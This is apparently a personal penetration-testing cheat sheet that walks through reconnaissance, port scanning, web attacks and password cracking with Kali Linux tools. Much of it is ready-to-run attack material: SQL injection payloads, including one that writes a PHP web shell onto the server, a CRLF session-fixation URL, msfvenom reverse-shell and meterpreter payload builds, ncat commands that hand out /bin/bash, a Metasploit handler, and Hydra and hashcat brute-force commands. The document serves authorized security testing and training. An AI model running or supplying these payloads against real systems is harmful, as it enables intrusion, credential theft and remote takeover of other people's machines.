This is more of a checklist for myself. May contain useful tips and tricks.
Everything was tested on Kali Linux v2020.3 (64-bit).
For help with any of the tools write <tool_name> -h | -hh | --help
or man <tool_name>
.
Sometimes -h
can be mistaken for a host or some other option. If that's the case, use -hh
or --help
instead, or read the manual with man
.
Some of these tools do similar tasks, but get slightly different results - run everything you can.
Keep in mind when no protocol nor port number within a URL is specified, i.e. somesite.com
, some tools might default to HTTP and port 80.
If you didn't already, read the OWASP Testing Guide v4.
Websites that you should use when writing the report:
- cwe.mitre.org/data
- owasp.org/projects
- cheatsheetseries.owasp.org
- nvd.nist.gov/vuln-metrics/cvss/v3-calculator
If you are interested, check my WiFi penetration testing cheat sheet.
Keep in mind that some web applications are only accessible through older web browsers like Internet Explorer.
Keep in mind that some web applications may be missing the index page and may not redirect you to the home page at all. If that's the case, try to manually guess a full path to the home page or use DirBuster.
Search the Internet for default paths and files for a specific web application and possibly use the information gathered in combination with Google Dorks.
Don't forget to access a web server over an IP address because you may find server's default welcome page and/or some other content.
Inspect the Web Console for possible errors.
Inspect the source code for possible errors and comments.
Optionally, check Recon-ng. Nice tool, but too big to explain.
www.exploit-db.com/google-hacking-database
pentest-tools.com/information-gathering/google-hacking
Gather information about a specified domain:
dmitry -winseo dmitry_results.txt somedomain.com
Use this one-liner to extract hostnames from the results:
grep -P -o "(?<=HostName\:)[^\s]+" dmitry_results.txt | sort -u
For more options run man dmitry
or dmitry -h
.
Gather information about a specified domain:
theHarvester -d somedomain.com -l 500 -b google,bing,yahoo,linkedin -f theHarvester_results.xml
Sometimes the output file might default to /usr/lib/python3/dist-packages/theHarvester
directory.
Use this one-liner to extract hostnames from the results:
grep -P -o "(?<=\<hostname\>)[^\s]+?(?=\<\/hostname\>)" theHarvester_results.xml | sort -u
For more options run theHarvester -h
.
Find metadata and hidden information in files.
Tested on Windows 10 Enterprise OS (64-bit).
Setup:
- download and install MS SQL Server 2014 Express or greater,
- download and install MS .NET Framework 4.7.1 Runtime or greater,
- download and install MS Visual C++ 2010 (64-bit) or greater,
- download and install FOCA.
The GUI is very intuitive.
Search and download specific or all files through Google Dorks:
metagoofil -d somedomain.com -l 100 -n 100 -t pdf -w -o metagoofil_results
Use this one-liner to extract authors from PDFs:
for file in metagoofil_results/*; do pdfinfo $file; done | grep -P -o "(?<=Author\:).+" | sed 's/[[:space:]]//g' | sort -u
For more options run metagoofil -h
.
Interrogate a domain name server:
fierce -dns somedomain.com -file fierce_std_results.txt
fierce -dns somedomain.com -wordlist dnsmap.txt -file fierce_brt_results.txt
Fierce will by default perform brute force attack with the built-in wordlist.
You can find dnsmap.txt
wordlist located at /usr/share/wordlists/
directory or download it from /dict/dnsmap.zip.
For more options run fierce -h
.
Interrogate a domain name server:
dig somedomain.com ANY +noall +answer
Interrogate a specific domain name server:
dig @192.168.8.5 somedomain.com ANY +noall +answer
Reverse DNS lookup:
dig -x 192.168.8.5 +noall +answer
For more options run man dig
or dig -h
.
Interrogate a domain name server:
dnsrecon -d somedomain.com -t std --json /root/Desktop/dnsrecon_std_results.json
dnsrecon -d somedomain.com -t axfr --json /root/Desktop/dnsrecon_axfr_results.json
dnsrecon -d somedomain.com -t brt -D /usr/share/wordlists/dnsmap.txt --json /root/Desktop/dnsrecon_brt_results.json
Use this one-liner to extract hostnames from the zone transfer results:
grep -P -o "(?<=\"name\"\:\ \"|\"mname\"\:\ \"|\"target\"\:\ \"|\"exchange\"\:\ \"|\"replacement\"\:\ \")[^\s\"]+" dnsrecon_axfr_results.json | sort -u
DNSRecon can perform brute force attack with a user-defined wordlist, but make sure you specify a full path to the wordlist; otherwise, DNSRecon might not recognize it.
Also, make sure you specify a full path to an output file; otherwise, it will default to /usr/share/dnsrecon/
directory.
You can find dnsmap.txt
wordlist located at /usr/share/wordlists/
directory or download it from /dict/dnsmap.zip.
Reverse DNS lookup:
dnsrecon -s -r 192.168.8.0/24 --json /root/Desktop/dnsrecon_reverse_results.json
Use this one-liner to extract hostnames from the reverse DNS lookup results:
grep -P -o "(?<=\"name\"\:\ \")[^\s\"]+" dnsrecon_reverse_results.json | sort -u
For more options run man dnsrecon
or dnsrecon -h
.
Installation:
apt-get update && apt-get install sublist3r
Enumerate subdomains using OSINT:
sublist3r -d somedomain.com -o sublist3r_results.txt
For more options run sublist3r -h
.
Identify a website:
whatweb -v somesite.com
For more options run man whatweb
or whatweb -h
.
Brute force directories and file names on a web server.
Don't forget that GNU/Linux OS has a case sensitive file system.
Don't forget to manually search for robots.txt
as it may contain other file names and/or paths.
Don't forget to manually search for phpinfo.php
as it may contain valuable information.
DirBuster might take a long time to finish depending on the settings and wordlist used.
Common Responses |
---|
200 OK |
301 Moved Permanently |
302 Found |
401 Unauthorized |
403 Forbidden |
404 Not Found |
500 Internal Server Error |
503 Service Unavailable |
All DirBuster's wordlists are located at /usr/share/dirbuster/wordlists/
directory.
Test all robots.txt
entries:
parsero -u somesite.com -sb
For more options run parsero -h
.
Download a useful collection of multiple types of lists for security assessments.
Installation:
apt-get update && apt-get install seclists
Lists will be stored at /usr/share/seclists/
.
Or, download the collection manually from here.
Keep in mind that web applications can be hosted on other ports besides 80 (HTTP) and 443 (HTTPS), e.g. they can be hosted on port 8443 (HTTPS).
Keep in mind that on ports 80 (HTTP) and 443 (HTTPS) a web server can host different web applications or some other service entirely.
Don't forget to use Ncat and/or Telnet for banner grabbing.
Try to invest into Nessus Professional and Burp Suite Professional or any similar permium tools if you can afford them.
While scanning for vulnerabilities and/or doing any other intensive scans, periodically check the web application/service in case it crashed, so you can alert the client as soon as possible.
www.calculator.net/ip-subnet-calculator.html
Ping sweep (map live hosts):
nmap -sn 192.168.8.0/24 -oG nmap_ping_sweep_results.txt
nmap -sn 192.168.8.0/24 -oG - | grep -P -o "(?<=Host\:\ )[^\s]+" - > nmap_ping_sweep_results.txt
TCP scan (all ports):
nmap -nv -sS -sV -sC -Pn 192.168.8.0/24 -p- -oN nmap_tcp_results.txt
mkdir -p /nmap_tcp_results/
for ip in $(cat nmap_ping_sweep_results.txt); do nmap -nv -sS -sV -sC -Pn $ip -p- -oN /nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt; done
UDP scan (only important ports):
nmap -nv -sU -sV -sC -Pn 192.168.8.0/24 -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -oN nmap_udp_results.txt
mkdir -p /nmap_udp_results/
for ip in $(cat nmap_ping_sweep_results.txt); do nmap -nv -sU -sV -sC -Pn $ip -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -oN /nmap_udp_results/nmap_udp_results_${ip//./_}.txt; done
Option | Description |
---|---|
-n/-R | Never do DNS resolution/Always resolve (default: sometimes) |
-v | Increase verbosity level (use -vv or more for greater effect) |
-Pn | Treat all hosts as online -- skip host discovery |
-A | Enable OS detection, version detection, script scanning and traceroute |
-sS/sT/sA | TCP SYN/Connect()/ACK |
-sV | Probe open ports to determine service/version info |
-sn | Ping scan - disable port scan |
-p/-p- | Only scan specified ports/Scan all ports |
--top-ports | Scan most common ports |
--script | Script scan (takes time to finish) |
--script-args | Provide arguments to scripts |
--script-help | Show help about scripts |
-sC | Same as --script=default |
-O | Enable OS detection |
--reason | Display the reason a port is in a particular state |
-oN/-oX/-oG | Output scan in normal, XML and Grepable format |
For more options run man nmap
or nmap -h
.
All Nmap's scripts are located at /usr/share/nmap/scripts/
directory. Read more about them here.
NSE examples:
nmap -nv -Pn 192.168.8.5 -p 3306 --script="mysql-brute" --script-args="userdb='users.txt', passdb='rockyou.txt'"
You can find rockyou.txt
wordlist located at /usr/share/wordlists/
directory or download it from /dict/rockyou.zip.
Try to use IPs instead of domain names.
TO DO: Vulnerability scanning using NSE.
Scan a web server:
nikto -h somesite.com -p 80 -output nikto_results.txt
For more options run man nikto
or just nikto
.
Scan a WordPress website:
wpscan --url somesite.com -o wpscan_results.txt
For more options run man wpscan
or wpscan -h
.
Setup:
git clone https://github.com/drwetter/testssl.sh
cd testssl.sh
chmod +x testssl.sh
Test an SSL/TLS certificate (i.e. SSL/TLS ciphers, protocols, etc.):
./testssl.sh somesite.com
For more options run ./testssl.sh -hh
.
Always try null session login (i.e. no password login) or search the Internet for default credentials for a specific web application.
Try to manipulate cookies to gain access or to elevate privileges.
Try to change an HTTP POST request into an HTTP GET request (i.e. into a query string) and see if server will accept it.
Always remember to delete your backdoors and other artifacts when you are done!
TO DO: HTTP smuggling with smuggler.py
.
TO DO: Social engineering with httrack
and setoolkit
.
www.securityfocus.com/vulnerabilities
Also known as CRLF Injection. CRLF refers to Carriage Return (ASCII 13, \r
) Line Feed (ASCII 10, \n
).
Fixate a session cookie:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
When encoded, \r
refers to %0D
and \n
refers to %0A
.
Find out more about reflected and stored XSS attacks from my other project.
Try to produce database errors by injecting a single-quote, back-slash, double-hyphen, forward-slash or period.
The following examples were tested on MySQL database.
Boolean-based SQLi:
' OR 1=1--
Note that MySQL requires a space between the comment symbol and the next character.
Union-based SQLi:
' UNION SELECT 1, 2, 3, 4--
' UNION SELECT 1, concat_ws(' | ', database(), current_user(), version()), 3, 4--
' UNION SELECT 1, concat_ws(' | ', table_schema, table_name, column_name, data_type, character_maximum_length), 3, 4 FROM information_schema.columns--
' UNION SELECT 1, load_file('..\\..\\apache\\conf\\httpd.conf'), 3, 4--
Use the union-based SQLi only when you are able to use the same communication channel to both launch the attack and gather results.
The goal is to determine the exact number of columns in the application query and to figure out which of them are displaying to the user.
Time-based SQLi:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE current_user() WHEN 'root@localhost' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(), 1, 1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password, 1, 1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM schema.users WHERE id = 1)--
Use the time-based SQLi when you are not able to see the results.
Inject a simple web shell:
' UNION SELECT '', '', '', '<form method="post" action="./backdoor.php"><input name="command" type="text" value="<?php if (isset($_POST["command"])) { echo $_POST["command"]; } ?>" placeholder="Command"></form><?php if (isset($_POST["command"])) { echo "<pre>"; $results = htmlentities(shell_exec($_POST["command"]), ENT_QUOTES, 'UTF-8'); echo $results ? $results : "Cannot display raw data"; echo "</pre>"; } ?>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--
To successfully inject a web shell, the database user must have a write permission.
Always make sure to properly close the surrounding code.
Inject SQL code into request parameters:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
Option | Description |
---|---|
-u | Target URL |
--data | Data string to be sent through POST |
--cookie | HTTP Cookie header value |
--proxy | Use a proxy to connect to the target URL |
--level | Level of tests to perform (1-5, default: 1) |
--risk | Risk of tests to perform (1-3, default: 1) |
-a | Retrieve everything |
-b | Retrieve DBMS banner |
--dump-all | Dump all DBMS databases tables entries |
--os-shell | Prompt for an interactive operating system shell |
--os-pwn | Prompt for an OOB shell, Meterpreter or VNC |
--sqlmap-shell | Prompt for an interactive sqlmap shell |
--wizard | Simple wizard interface for beginner users |
For more options run man sqlmap
, sqlmap -h
or sqlmap -hh
.
Traverse a path (e.g. somesite.com/../../etc/shadow
):
dotdotpwn -m http -h somesite.com -f /etc/passwd -k "root"
dotdotpwn -m http -S -h somesite.com -f /windows/win.ini -k "mci"
dotdotpwn -m http-url -u https://somesite.com/index.php?file=TRAVERSAL -f /etc/hosts -k "localhost"
Option | Description |
---|---|
-m | Module (http, http-url, ftp, tftp payload, stdout) |
-h | Hostname |
-O | Operating System detection for intelligent fuzzing (nmap) |
-o | Operating System type if known ("windows", "unix" or "generic") |
-d | Depth of traversals (default: 6) |
-f | Specific filename (default: according to OS detected) |
-S | Use SSL for HTTP and Payload module (not needed for http-url) |
-u | URL with the part to be fuzzed marked as TRAVERSAL |
-k | Text pattern to match in the response |
-p | Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword |
-x | Port to connect (default: HTTP=80; FTP=21; TFTP=69) |
-U | Username (default: 'anonymous') |
-P | Password (default: 'dot@dot.pwn') |
-M | HTTP Method to use when using the 'http' module (GET, POST, HEAD, COPY, MOVE, default: GET) |
-b | Break after the first vulnerability is found |
-C | Continue if no data was received from host |
For more options simply run dotdotpwn
.
Scan a web application for vulnerabilities:
wapiti -v 2 --color -u https://somesite.com/ --scope domain -o wapiti_results -f html
wapiti -v 2 --color -u https://www.somesite.com/ --scope url -a username%password --auth-type basic -o wapiti_results -f html
wapiti-getcookie -u https://somesite.com/app/login.php -c cookies.json
wapiti -v 2 --color -u https://somesite.com/app/ --scope folder -c cookies.json -x https://somesite.com/app/logout.php -o wapiti_results -f html
Option | Description |
---|---|
-u | The base URL used to define the scan scope |
--scope | Set scan scope (page, folder, domain, url, punk, default: folder) |
-m | List of modules to load |
--list-modules | List attack modules and exit |
-a | Set HTTP authentication credentials (username%password) |
--auth-type | Set the authentication type to use (basic, digest, kerberos, ntlm) |
-c | Set a JSON cookie file to use |
-d | Set how deep the scanner should explore the website |
-t | Set timeout for requests |
-f | Set output format (json, html, txt, openvas, vulneranet, xml, default: html) |
-o | Output file or folder |
--flush-attacks | Flush attack history and vulnerabilities for the current session |
--flush-session | Flush everything that was previously found for this target |
For more options run man wapiti
, wapiti -h
or wapiti -hh
.
Modules (default) | Modules (optional) |
---|---|
blindsql | backup |
sql | buster |
exec | crlf |
file | delay |
redirect | htaccess |
ssrf | methods |
xss | nikto |
permanentxss | shellshock |
- | xxe |
Find out more about PHP reverse TCP shell from my other project.
Find out how to generate a reverse shell payload
for Python and send it to a target machine from my other project.
To generate a Base64 encoded payload
use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
To generate a binary file
use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
To generate a DLL file
use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll
To generate a standalone executable
file use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
To generate an MSI file
use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi
Bytecode might not work on the first try due to some other bad characters. Trial and error is the key.
So far there is no easy way to generate a DLL nor MSI file with a stageless meterpreter shell due to the size issues.
Google a hash before trying to crack it because you might save yourself a lot of time and trouble.
Use Google Dorks to find files and within file's metadata a domain username to brute force or use FOCA.
Keep in mind that you might lockout people's accounts.
Keep in mind that some web forms implement CAPTCHA and/or hidden submission tokens which may prevent you from brute forcing.
You can find a bunch of wordlists located at /usr/share/seclists/
directory.
Also, check the simple one-time-password lists in /dict/otp.zip.
TO DO: Pre-shared key cracking with ike-scan
and psk-crack
.
Generate a lower-alpha-numeric wordlist:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
You can see the list of all available charsets or add your own in charset.lst
located at /usr/share/crunch/
directory.
Generate all the possible permutations for specified words:
crunch -o crunch_wordlist.txt -p admin 123 \!\"
crunch -o crunch_wordlist.txt -q words.txt
Generate all the possible combinations for a specified charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123\!\"
Option | Description |
---|---|
-d | Limits the number of consecutive characters |
-f | Specifies a character set from a file |
-i | Inverts the output |
-l | When you use the -t option this option tells crunch which symbols should be treated as literals |
-o | Specifies the file to write the output to |
-p | Tells crunch to generate/permute words that don't have repeating characters |
-q | Tells crunch to read a file and permute what is read |
-r | Tells crunch to resume generate words from where it left off, -r only works if you use -o |
-s | Specifies a starting string |
-t | Specifies a pattern |
For more options run man crunch
or crunch -h
.
Placeholder | Description |
---|---|
@ | Lower case characters |
, | Upper case characters |
% | Numbers |
^ | Symbols |
Unfortunately, there is no placeholder ranging from lowercase-alpha to symbols.
Generate all the possible combinations for a specified placeholder:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
To identify a hash type, run the following tool:
hash-identifier
Brute force MD5 hashes:
hashcat -m 0 -a 3 --session=cracking --force --status --optimized-kernel-enable --outfile hashcat_results.txt hashes.txt
Brute force NetNTLMv1 hashes:
hashcat -m 5500 -a 3 --session=cracking --force --status --optimized-kernel-enable --outfile hashcat_results.txt hashes.txt
Use --session=<session_name>
so that you can continue your cracking progress later on with --restore
.
Continue cracking progress:
hashcat --session=cracking --restore
Option | Description |
---|---|
-m | Hash-type, see references below |
-a | Attack-mode, see references below |
--force | Ignore warnings |
--status | Enable automatic update of the status screen |
--session | Define specific session name |
--runtime | Abort session after X seconds of runtime |
--restore | Restore session from --session |
--restore-file-path | Specific path to restore file |
--outfile | Define outfile for recovered hash |
--show | Show cracked passwords found in potfile |
--optimized-kernel-enable | Enable optimized kernels (limits password length) |
-1 | User-defined charset ?1 |
-2 | User-defined charset ?2 |
-3 | User-defined charset ?3 |
-4 | User-defined charset ?4 |
For more options run man hashcat
or hashcat -h
.
When specifying a user-defined charset, escape ?
with another ?
(i.e. use ??
instead of \?
).
Hash Type | Description |
---|---|
0 | MD5 |
100 | SHA1 |
1400 | SHA256 |
1700 | SHA512 |
200 | MySQL323 |
300 | MySQL4.1/MySQL5 |
1000 | NTLM |
5500 | NetNTLMv1-VANILLA / NetNTLMv1-ESS |
5600 | NetNTLMv2 |
2500 | WPA/WPA2 |
16800 | WPA-PMKID-PBKDF2 |
For more hash types read the manual.
Attack Mode | Name |
---|---|
0 | Straight |
1 | Combination |
2 | Toggle Case |
3 | Brute Force |
4 | Permutation |
5 | Table Lookup |
8 | Prince |
Charset | Description |
---|---|
?l | abcdefghijklmnopqrstuvwxyz |
?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
?d | 0123456789 |
?s | !"#$%&'()*+,-./:;<=>?@[]^_`{|}~ |
?a | ?l?u?d?s |
?b | 0x00 - 0xff |
Dictionary attack:
hashcat -m 100 -a 0 --session=cracking --force --status --optimized-kernel-enable B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status --optimized-kernel-enable --outfile hashcat_results.txt hashes.txt rockyou.txt
You can find rockyou.txt
wordlist located at /usr/share/wordlists/
directory or download it from /dict/rockyou.zip.
Brute force a hash with a specified placeholder:
hashcat -m 0 -a 3 --session=cracking --force --status --optimized-kernel-enable cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status --optimized-kernel-enable 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2
Crack an HTTP POST web form login:
hydra -l admin -P rockyou.txt somesite.com http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!" -o hydra_results.txt
When cracking a web form login, you must specify Login=Login:<expected_message>
to distinguish between a successful login and failed one. Each expected message can vary between web forms.
Keep in mind that the username
and password
request parameters can be named differently.
Crack a Secure Shell login:
hydra -L users.txt -P rockyou.txt 192.168.8.5 ssh -o hydra_results.txt
You can find rockyou.txt
wordlist located at /usr/share/wordlists/
directory or download it from /dict/rockyou.zip.
Also, check the one-time-password lists in /dict/otp.zip.
Option | Description |
---|---|
-R | Restore a previous aborted/crashed session |
-S | Perform an SSL connect |
-s | If the service is on a different default port, define it here |
-l | Login with a login name |
-L | Load several logins from a file |
-p | Login with a password |
-P | Load several passwords from a file |
-x | Password brute force generation (MIN:MAX:CHARSET), type "-x -h" to get help |
-y | Disable use of symbols in bruteforce |
-e | Try "n" null password, "s" login as pass and/or "r" reversed login |
-M | List of servers to attack, one entry per line, ':' to specify port |
-f/-F | Exit when a login/pass pair is found (-f per host, -F global) |
-o | Write found login/password pairs to a file instead of stdout |
-O | Use old SSL v2 and v3 |
For more options run man hydra
or hydra -h
.
Supported Services |
---|
ftp[s] |
http[s]-{get|post}-form |
mysql |
smb |
smtp[s] |
snmp |
ssh |
telnet[s] |
vnc |
For more supported services read the manual.
Brute Force Syntax | Description |
---|---|
MIN | Minimum number of characters in the password |
MAX | Maximum number of characters in the password |
CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack:
hydra -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp -o hydra_results.txt
After you have collected enough usernames from reconnaissance phase it is time to try and crack some of them.
Find out how to generate a good password spraying wordlist from my other project, but first you will need a few good keywords that describe your target.
Such keywords can be a company name and abbreviation or keywords that describe your target's services, products, etc.
After you generate the wordlist, use it with tools such as Hydra or Burp Suite Intruder to crack web login forms. P.S. Hydra can attack authentication mechanisms on all kinds of services/ports.
If strong password policy is enforced, passwords usually start with one capitalized word followed by few digits and one special character at the end (e.g. Password123!).
You can also use the generated wordlist with hashcat, e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.
Here you can find a bunch of random stuff.
raikia.com/tool-powershell-encoder
Download a file:
curl somesite.com/somefile.txt --output somefile.txt
Test a server for various HTTP methods:
curl -v -X TRACE somesite.com
curl -v -X DEBUG somesite.com --insecure
curl -v -X OPTIONS somesite.com --include
curl -v somesite.com --upload-file somefile.txt
For more options run man curl
or curl -h
.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert "sws_crt.pem" --ssl-key "sws_key.pem"
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert "sws_crt.pem" --ssl-key "sws_key.pem"
Check if it is possible to connect to a specific TCP port (e.g. port 22 or 23):
for i in {0..255}; do ncat -nv 192.168.5.$i 9000 -w 2 -z 2>&1 | grep -P -o "(?<=Connected\ to\ )[^\s]+(?=\.)"; done
for ip in $(cat ips.txt); do ncat -nv $ip 9000 -w 2 -z 2>&1 | grep -P -o "(?<=Connected\ to\ )[^\s]+(?=\.)"; done
For more options run man ncat
or ncat -h
.
Find out how to create an SSL/TLS certificate from my other project.
Set up a multi/handler
module (change the PAYLOAD, LHOST and LPORT as needed):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 9000
exploit
Use ngrok to give your local web server a public address (if needed), but do not expose the web server for too long if it is not properly hardened due to security concerns.
I would also advise you not to transfer any sensitive data over it, just in case.
To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))
To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:
PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command
To decode a PowerShell encoded command, run the following PowerShell command:
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))
Find out more about PowerShell reverse and bind TCP shells from my other project.